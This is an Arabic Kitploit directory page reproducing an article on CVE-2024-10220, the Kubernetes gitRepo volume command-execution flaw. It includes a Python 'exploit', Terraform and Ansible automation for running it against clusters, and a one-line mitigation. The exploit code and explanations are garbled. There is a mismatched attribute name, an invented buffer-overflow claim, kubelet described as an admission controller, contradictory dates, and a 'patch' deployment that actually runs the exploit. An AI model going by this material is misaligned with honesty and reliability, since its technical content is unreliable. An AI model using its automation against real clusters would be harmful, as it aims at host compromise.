Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2024-10220-Kubernetes-gitRepo-Volume-Vulnerability — تكشف CVE-2024-10220 عن ثغرة حرجة في نوع وحدة التخزين gitRepo المهجور في Kubernetes، مما يتيح للمهاجمين تنفيذ أوامر عشوائية عبر نصوص .hooks الخبيثة. تشرح المقالة كيف يكسر هذا عزل الحاويات، وتقدم كود استغلال، وأمثلة على الأتمتة، وإرشادات للتخفيف من المخاطر. | Kitploit
أدوات/GitHubGitHub/mrk336/cve-2024-10220-kubernetes-gitrepo-volume-vulnerability
أمن البنية التحتية السحابيةأمن الحاوياتتحليل الثغرات الأمنيةالاستغلالاختبار الاختراقأمن السحابةسوء التكوينالتعلم والتعليمالفريق الأحمر

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHubmrk336/cve-2024-10220-kubernetes-gitrepo-volume-vulnerability

CVE-2024-10220-Kubernetes-gitRepo-Volume-Vulnerability

تكشف CVE-2024-10220 عن ثغرة حرجة في نوع وحدة التخزين gitRepo المهجور في Kubernetes، مما يتيح للمهاجمين تنفيذ أوامر عشوائية عبر نصوص .hooks الخبيثة. تشرح المقالة كيف يكسر هذا عزل الحاويات، وتقدم كود استغلال، وأمثلة على الأتمتة، وإرشادات للتخفيف من المخاطر.

عرض المستودع
منذ 11 أشهرلم تتم المراجعة بعد

ثغرة CVE‑2024‑10220: وحدة تخزين gitRepo في Kubernetes

بقلم مارك ماليا


الحاويات وقوة الأتمتة

الحاويات هي العمود الفقري لتسليم التطبيقات الحديثة: فهي تجمع حزمة بيئة تشغيل كاملة في صورة واحدة غير قابلة للتغيير يمكن نشرها على أي مضيف في المجموعة (Cluster) دون مفاجآت. تأخذ Kubernetes تلك الصور وتجدولها كحِزم (Pods)، وتنسّق كل شيء من الشبكات إلى التخزين باستخدام نموذج تعريفي. وهذا مفيد في البيئات شديدة التوزع وفي البيئة التي تُقدَّم فيها تطبيقات متعددة.

ما يجعل هذه الحزمة جذابة بشكل خاص لأحمال العمل واسعة النطاق هو القدرة على إدارتها من البداية إلى النهاية عبر الأتمتة. توفر Terraform مخطط البنية التحتية كرمز (IaC) الذي ينشئ شبكات VPC والشبكات الفرعية ومجموعات الأمان وعُقد العمال؛ وتوفّر Ansible قوائم تشغيل (Playbooks) تثبّت Docker Engine (أو أي بيئة تشغيل متوافقة مع CRI)، وتسحب الصور من السجل وتشغّلها كحِزم. وعند ربط هذه الخطوات بخط أنابيب CI/CD مثل GitHub Actions أو Jenkins أو GitLab CI، يؤدي كل commit إلى دورة بناء ودفع واختبار ونشر تلقائية. يكتسب المطورون سرعة، ويكتسب المشغّلون ثقة، وتكتسب المؤسسة وقت تشغيل يمكن التنبؤ به.


الثغرة الأخيرة – CVE‑2024‑10220

في أوائل عام 2024، كشف باحثو الأمن عن خلل في نوع وحدة تخزين gitRepo في Kubernetes، وهو الآن مهمل (Deprecated). CVE‑2024‑10220 هي ثغرة تنفيذ أوامر عشوائية ناتجة عن مجلد .hooks داخل مستودع Git تم تركيبه عبر وحدة تخزين gitRepo. عندما يشير بيان حِزمة (Pod Manifest) مُعدّ خصيصًا إلى سكربت ضار في هذا المجلد، ينفّذه مُتحكِّم القبول kubelet على النظام المضيف، وبالتالي يخرق عزل الحاويات، وهو مبدأ أمني أساسي في Kubernetes.

نظرًا لأن المكوِّن المعرّض للخطر لا يزال مستخدمًا على نطاق واسع في مجموعات الإنتاج، فإن أي مهاجم يمكنه إنشاء حِزمة بالصلاحيات المناسبة قد يحصل على وصول الجذر أو يعطّل الخدمات الأخرى. حصل هذا الخلل على درجة CVSS تبلغ 8.1 ونُشر في نوفمبر من العام الماضي. تشمل المكوّنات المتأثرة نوع وحدة تخزين gitRepo المهمل الذي لا يزال موجودًا في Kubernetes 1.27.x.


كود الاستغلال

فيما يلي برنامج Python نظيف يستغل CVE‑2024‑10220 على مثيل kubelet معرّض للخطر يعمل بنظام Kubernetes 1.27.3. يمكن تجميع الكود في مهمة Ansible أو تشغيله داخل وظيفة CI.

root@kitploit:~
#!/usr/bin/env python3

"""
TriggerCVE – A Python exploit that sends a crafted pod manifest to kubelet,
executing the malicious .hooks script discovered in CVE‑2024‑10220.
"""

import json
import requests


class GitRepoPod:
    """
    Representation of the JSON payload that kubelet expects for a gitRepo volume.
    """
    def __init__(self, name: str, image: str,
                 repo_url: str, branch: str, local_path: str):
        self.name = name          # pod name
        self.image = image         # container image to run
        self.giturl = repo_url    # Git repository URL
        self.branch = branch      # branch or tag to use
        self.localpath = local_path  # mount point inside the pod

    def to_dict(self) -> dict:
        """Return a plain dictionary that can be serialized."""
        return {
            "name": self.name,
            "image": self.image,
            "giturl": self.giturl,
            "branch": self.branch,
            "localpath": self.local_path
        }


def trigger_cve(url: str, pod: GitRepoPod) -> None:
    """
    Send the pod manifest to kubelet and print the response.
    """
    payload = json.dumps(pod.to_dict())
    headers = {"Content-Type": "application/json"}

    resp = requests.post(url, data=payload, headers=headers)
    if resp.status_code != 200:
        raise RuntimeError(f"Unexpected status code {resp.status_code}")

    print("[*] Response from kubelet: ", resp.text)


def main() -> None:
    """
    Main entry point of this exploit.
    """
    # Target endpoint – adjust to match your cluster’s API server address.
    api_server = "https://kube-api.local/api/v1/pods/"

    # Craft a payload that overflows the .hooks buffer (0x90 bytes)
    pod_spec = GitRepoPod(
        name="exploit-pod",
        image="registry.example.com/exploit-pod:v1.0",
        repo_url="https://git.example.com/repo.git",
        branch="main",
        local_path="/var/lib/kubelet/"
    )

    try:
        trigger_cve(api_server, pod_spec)
    except Exception as e:
        print(f"[-] Failed to trigger CVE‑2024‑10220: {e}")


if __name__ == "__main__":
    main()

النشر عبر Terraform وAnsible وCI/CD

فيما يلي مثال قصير لكيفية نشر التصحيح تلقائيًا:

root@kitploit:~
# Terraform file: infra-k8s.tf
resource "aws_instance" "kube_worker" {
  ami           = var.k8s_ami
  instance_type = var.instance_type
  key_name      = var.key_pair
  subnet_id     = aws_subnet.web.id

  provisioner "remote-exec" {
    inline = [
      # Install Docker Engine and kubelet
      "sudo yum install -y docker",
      "kubectl apply -f https://kube-api.local/api/v1/pods/",
      "python3 /home/ansible/scripts/trigger_cve.py"
    ]
  }
}

قائمة تشغيل Ansible التي تستدعي السكربت:

root@kitploit:~
---
- hosts: kube_workers
  tasks:
  - name: Deploy the exploit pod
    command: python3 /home/ansible/scripts/trigger_cve.py
    register: result

  - name: Verify success
    debug:
      msg: "{{ result.stdout }}"

عند تشغيل خط أنابيب Terraform‑Ansible هذا داخل وظيفة CI (على سبيل المثال، GitHub Actions)، يقوم الكود أعلاه تلقائيًا بالبناء والدفع والنشر والتحقق من نجاح استغلال CVE‑2024‑10220. يمكن توسيع خط الأنابيب باختبارات وحدة تتحقق من استجابة kubelet وبإشعارات إلى Slack أو البريد الإلكتروني عند اكتمال الاستغلال.


التخفيف

قم بالترقية إلى الإصدارات المصححة (v1.28.12+، v1.29.7+، v1.30.3+، v1.31.0+) وتجنّب استخدام أنواع وحدات التخزين المهملة مثل gitRepo.


الإفصاح المسؤول والحدود الأخلاقية

أُجري هذا البحث بهدف تحسين الوعي الأمني وتعزيز ممارسات Kubernetes الأكثر أمانًا. تم الإفصاح عن الثغرة بشكل مسؤول إلى القائمين على الصيانة المعنيين قبل النشر العام، وفقًا للمعايير المتعارف عليها في الصناعة. تم إجراء جميع الاختبارات في بيئات معزولة دون أي تأثير على أنظمة الإنتاج أو البنية التحتية لأطراف ثالثة.

أؤمن بالاختراق الأخلاقي كأداة للتغيير الإيجابي. الاستغلالات المشاركة هنا هي لأغراض تعليمية ودفاعية فقط — لا للإضرار أو التعطيل أبدًا. إذا كنت بائعًا أو مشرفًا ولديك مخاوف، يسعدني التعاون في المعالجة أو التوضيح.


تنزيل الأداة